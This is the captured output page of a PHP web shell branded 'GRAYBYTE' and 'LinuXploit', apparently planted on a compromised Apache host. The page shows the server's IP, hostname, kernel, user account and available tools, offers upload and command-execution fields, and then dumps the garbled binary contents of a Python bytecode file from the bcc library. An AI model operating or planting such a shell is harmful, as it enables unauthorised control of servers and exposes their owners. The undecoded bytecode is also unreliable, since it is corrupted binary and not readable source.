- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.147.86.30
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/bcc/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/bcc/__pycache__/disassembler.cpython-36.opt-1.pyc
3

:�)g�P�@s�ddlmZddlZddlmZGdd�dej�ZGdd�dej�ZGd	d
�d
ej	�Z
Gdd�dej�ZGd
d�d�Zddd�Z
dd�Zdd�ZGdd�d�Zddd�ZdS)�)�linesepN�)�get_table_type_namec@s eZdZdejfdejfgZdS)�OffsetUnionZoffsetu�offsetN)�__name__�
__module__�__qualname__�ctZc_uint16Zc_int16�_fields_�rr�"/usr/lib/python3.6/disassembler.pyrsrc@s eZdZdejfdejfgZdS)�ImmUnion�immu�immN)rrr	r
Zc_uint32Zc_int32rrrrr
rsrc@s@eZdZdZd	ZdejfdejdfdejdfdefdefgZ	dS)
�BPFInstrFieldsr�o�i�opcode�dst��srcN)rr)
rrr	�_pack_�_anonymous_r
Zc_uint8rrrrrrr
rs

rc@s&eZdZdZdZdefdejfgZdS)�BPFInstrr�s�instrN)	rrr	rrrr
�c_uint64rrrrr
r"srcd@s�eZdZdZdddddddd	d
ddd
ddddddddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZd[d\d]d^g]Zd�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d��d�d�d�d�d�d�d�d�d�d	�d
�d�d�d
�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d�d �d!�d"�d#�d$�d%�d&�d'�d(�d)�d*dǜaZed�dɄ�ZdeS(+�
BPFDecoderrZunspecZmap_lookup_elemZmap_update_elemZmap_delete_elemZ
probe_readZktime_get_nsZtrace_printkZget_prandom_u32Zget_smp_processor_idZskb_store_bytesZl3_csum_replaceZl4_csum_replaceZ	tail_callZclone_redirectZget_current_pid_tgidZget_current_uid_gidZget_current_commZget_cgroup_classidZ
skb_vlan_pushZskb_vlan_popZskb_get_tunnel_keyZskb_set_tunnel_keyZperf_event_readZredirectZget_route_realmZperf_event_outputZskb_load_bytesZget_stackidZ	csum_diffZskb_get_tunnel_optZskb_set_tunnel_optZskb_change_protoZskb_change_typeZskb_under_cgroupZget_hash_recalcZget_current_taskZprobe_write_userZcurrent_task_under_cgroupZskb_change_tailZ
skb_pull_dataZcsum_updateZset_hash_invalidZget_numa_node_idZskb_change_headZxdp_adjust_headZprobe_read_strZget_socket_cookieZget_socket_uidZset_hashZ
setsockoptZskb_adjust_roomZredirect_mapZsk_redirect_mapZsock_map_updateZxdp_adjust_metaZperf_event_read_valueZperf_prog_read_valueZ
getsockoptZoverride_returnZsock_ops_cb_flags_setZmsg_redirect_mapZmsg_apply_bytesZmsg_cork_bytesZ
msg_pull_dataZbindZxdp_adjust_tailZskb_get_xfrm_stateZ	get_stackZskb_load_bytes_relativeZ
fib_lookupZsock_hash_updateZmsg_redirect_hashZsk_redirect_hashZlwt_push_encapZlwt_seg6_store_bytesZlwt_seg6_adjust_srhZlwt_seg6_actionZ	rc_repeatZ
rc_keydownZ
skb_cgroup_idZget_current_cgroup_idZget_local_storageZsk_select_reuseportZskb_ancestor_cgroup_idZ
sk_lookup_tcpZ
sk_lookup_udpZ
sk_releaseZ
map_push_elemZmap_pop_elemZ
map_peek_elemZ
msg_push_dataZmsg_pop_dataZrc_pointer_rel�add32�dstimm�+=� �ja�joffN�@�add�dstsrc�sub32�-=�jeq�
jdstimmoff�==�sub�lddw�
jdstsrcoff�ldabsw�ldabs�mul32�*=�jgt�>�mul�ldabsh��ldabsb��div32�/=�jge�>=�div�ldabsdw�ldindw�ldind�or32�	dstimm_bw�|=�jset�&�or�ldindh�ldindb�and32�&=�jne�!=�and�ldinddw�ldxw�
ldstsrcoff�stw�
sdstoffimm�stxw�
sdstoffsrc�lsh32�<<=�jsgt�s>�lsh�ldxh�sth�stxh�ldxb�stb�stxb�rsh32�>>=�jsge�s>=�rsh�ldxdw�stdw�stxdw�neg32r�~�call�neg�mod32�%=�exit�mod�xor32�^=�jlt�<�xor�mov32�=�jle�<=�mov�arsh32�s>>=�jslt�s<�arsh�jsle�s<=�endian32�endian)ar�����������r"�$�%�'�(�,�-�/�0�4�5�7�8�<�=�?r%�D�E�G�H�L�M�O�P�T�U�W�X�\�]�_�a�b�c�d�e�g�i�j�k�l�m�o�q�r�s�t�u�w�y�z�{�|�}���������������������������������������c	Cs��y�|j|j\}}}}|dkr6d|j||jfdfS|dkrTd|j||jfdfS|dkr|dd|j||jd	fdfS|d
kr�d|j||jfdfS|dkr�d
|j||jd|j||jd	fdfS|dk�rd|j||jd|j||jd	fdfS|dk�r^|dk�rtd��|jdk�r<d|j|jfd	fS|jd>|jB}d|j|fd	fS|dk�rzd||jfdfS|dk�r�d||jd|jfdfS|dk�r�d|j||jd|jfdfS|dk�r�d||jd|j|jfdfS|dk�rd||jd|j|jfdfS|dk�r8d |j|||jfdfS|d!k�r�|j|jk�r�yd"||j	|j|jfdfSt
k
�r�d#||jfdfSXd$|d|jfdfS|d%k�r�|dfStd&��Wntk
�r�d'|jSXdS)(Nr z	r%d %s %drrDzr%d %s 0x%xr$zgoto %s <%d>z%+drr'z
r%d %s r%dr+zif r%d %s %d goto pc%s <%d>r/zif r%d %s r%d goto pc%s <%d>r.z1lddw requires two instructions to be disassembledzr%d = <map at fd #%d>r"z
r%d = 0x%xr1zr0 = *(u%s*)skb[%s]rBzr0 = *(u%d*)skb[r%d %s]rRzr%d = *(u%d*)(r%d %s)rTz*(u%d*)(r%d %s) = %drVz*(u%d*)(r%d %s) = r%drzr%d = %s (u%s)r%drlz%s bpf_%s#%dz%s <unknown helper #%d>z%s %srpzunknown opcode classzunknown <0x%x>)�opcodesrrrrrr�	Exception�BPF_PSEUDO_CALL�bpf_helpers�
IndexError�KeyError)	�clsr�w�w1�nameZopclass�op�bitsrrrr
�decode�sl











zBPFDecoder.decode)rr r!r")r#r$Nr%)r&r r!r%)rr'r!r")r&r'r!r%)r(r r)r")r*r+r,r%)r-r r)r%)r.r.Nr%)r(r'r)r")r*r/r,r%)r-r'r)r%)r0r1Nr")r2r r3r")r4r+r5r%)r6r r3r%)r7r1Nr8)r2r'r3r")r4r/r5r%)r6r'r3r%)r9r1Nr:)r;r r<r")r=r+r>r%)r?r r<r%)r@r1Nr%)r;r'r<r")r=r/r>r%)r?r'r<r%)rArBNr")rCrDrEr")rFr+rGr%)rHrDrEr%)rIrBNr8)rCr'rEr")rFr/rGr%)rHr'rEr%)rJrBNr:)rKrDrLr")rMr+rNr%)rOrDrLr%)rPrBNr%)rKr'rLr")rMr/rNr%)rOr'rLr%)rQrRNr")rSrTNr")rUrVNr")rWr rXr")rYr+rZr%)r[r rXr%)r\rRNr8)r]rTNr8)r^rVNr8)rWr'rXr")rYr/rZr%)r[r'rXr%)r_rRNr:)r`rTNr:)rarVNr:)rbr rcr")rdr+rer%)rfr rcr%)rgrRNr%)rhrTNr%)rirVNr%)rbr'rcr")rdr/rer%)rfr'rcr%)rjrrkr")rlrlNr%)rmrrkr%)rnr ror")rprpNr%)rqr ror%)rnr'ror")rqr'ror%)rrrDrsr")rtr+rur%)rvrDrsr%)rrr'rsr")rtr/rur%)rvr'rsr%)rwr rxr")ryr+rzr%)r{r rxr%)rwr'rxr")ryr/rzr%)r{r'rxr%)r|r r}r")r~r+rr%)r�r r}r%)r|r'r}r")r~r/rr%)r�r'r}r%)r�r+r�r%)r�r'r�r")r�r+r�r%)rrr	r�r�r��classmethodr�rrrr
r's�
rcCs&tj|||�\}}d||j|f|fS)Nz%4d: (%02x) %s)rr�r)r�w0r�r�skiprrr
�disassemble_instruction3sr�c	Cs�tjtj|�tjt��}tt|�d�}|d}d}g}xRtd|�D]D}||}|rf|d8}d|}nt|d||�\}}|j	|�|}qDWt|d|d�\}}|j	|�|S)Nr:rrz%4d:      (64-bit upper word))
r
�castZc_char_pZPOINTERr�int�len�ranger��append)	�bpfstrZptrZnuminstrr�r��
instr_listrr�Z	instr_strrrr
�disassemble_str7s 


r�cCs d|g}|t|�7}tj|�S)NzDisassemble of BPF program %s:)r�r�join)Z	func_namer�r�rrr
�disassemble_progJs
r�c"@s�eZdZejdejdejdejdejdej	dej
dejdejd	ej
d
ejdejdejd
ejdejdejddejddiZedd��Zed!dd��Zed"dd��Zedd��Zed#dd ��ZdS)$�
MapDecoderZ_Bool�charZwchar_tz
unsigned charZshortzunsigned shortr�zunsigned intZlongz
unsigned longz	long longzunsigned long long�floatZdoublezlong double�Z__int128zunsigned __int128cCs�y^t|tj�rd}nHt|tj�r&d}n6t|tj�rR|j|jdt|j�d}n
|j|}Wnt	k
rzt|�}YnX|S)N�struct�union�[�])
�
issubclassr
�	Structure�UnionZArray�	ctype2strZ_type_�strZ_length_r�)r��t�field_type_namerrr
�get_ct_namebs zMapDecoder.get_ct_nameFNcCs*|sdS|dk	rd|||fSd||fS)N�z[%d,%d +%d bit]z	[%d +%d] r)r�r�sizeZenabledZ	bitoffsetrrr
�format_size_infoqs
zMapDecoder.format_size_inforrcCs�g}y�x�|jD]�\}}t|tj�p,t|tj�}|j|�}	t||�j}
tj|�}|j	||
||�}|r�|j
d|||	f�||j||d||
�7}|j
d||f�q|j
d|||	|f�qWWn�tk
�r�d}
x�|jD]�}t
|�dk�r0|\}}}|j|�}	|j	||
||�}|j
d|||	||f�n`|\}}|j|�}	t||�j}
tj|�}d}d}
|j	||
||�}|j
d|||	|f�||
7}|
|7}
q�WYnX|S)Nz%s%s%s {z  z%s} %s;z
%s%s%s %s;r�z
%s%s%s %s:%d;)rrr
rrr
�getattrrZsizeofrr��print_ct_map�
ValueErrorr�)r�r�indentr�sizeinfo�	map_lines�
field_nameZ
field_type�
is_structuredrZfield_offsetZ
field_sizeZsizedescZoffset_bitsZfieldZ
field_bitsrrr
rysZ











zMapDecoder.print_ct_mapcCsft|tj�pt|tj�}|j|�}|rTd|g}||j|d|d�7}|jd|�nd||fg}|S)Nz  %s {z    )rz  } %s;z  %s %s;)rr
rrr
rr�)r�rrrrZ	type_namerrrr
�print_map_ctype�s

zMapDecoder.print_map_ctypecCsLd|||j|jfg}||j|jd|d�7}||j|jd|d�7}tj|�S)Nz-Layout of BPF map %s (type %s, FD %d, ID %d):�key)r�value)Zmap_fdZmap_idrZKeyZLeafrr�)r��map_name�map_obj�map_typerrrrr
�
decode_map�szMapDecoder.decode_map)FN)rrF)F)rrr	r
Zc_boolZc_charZc_wcharZc_ubyteZc_shortZc_ushortZc_intZc_uintZc_longZc_ulongZ
c_longlongZc_ulonglongZc_floatZc_doubleZc_longdoubleZc_int64rr	r�r
rrrr rrrr
r�Os2
3
r�FcCst|�}tj||||d�S)N)r)rr�r )rrrrZ
map_type_namerrr
r �sr )N)F)�osrZctypesr
�tablerrrrrrrrr�r�r�r�r rrrr
�<module>s	
u

Youez - 2016 - github.com/yon3zu
LinuXploit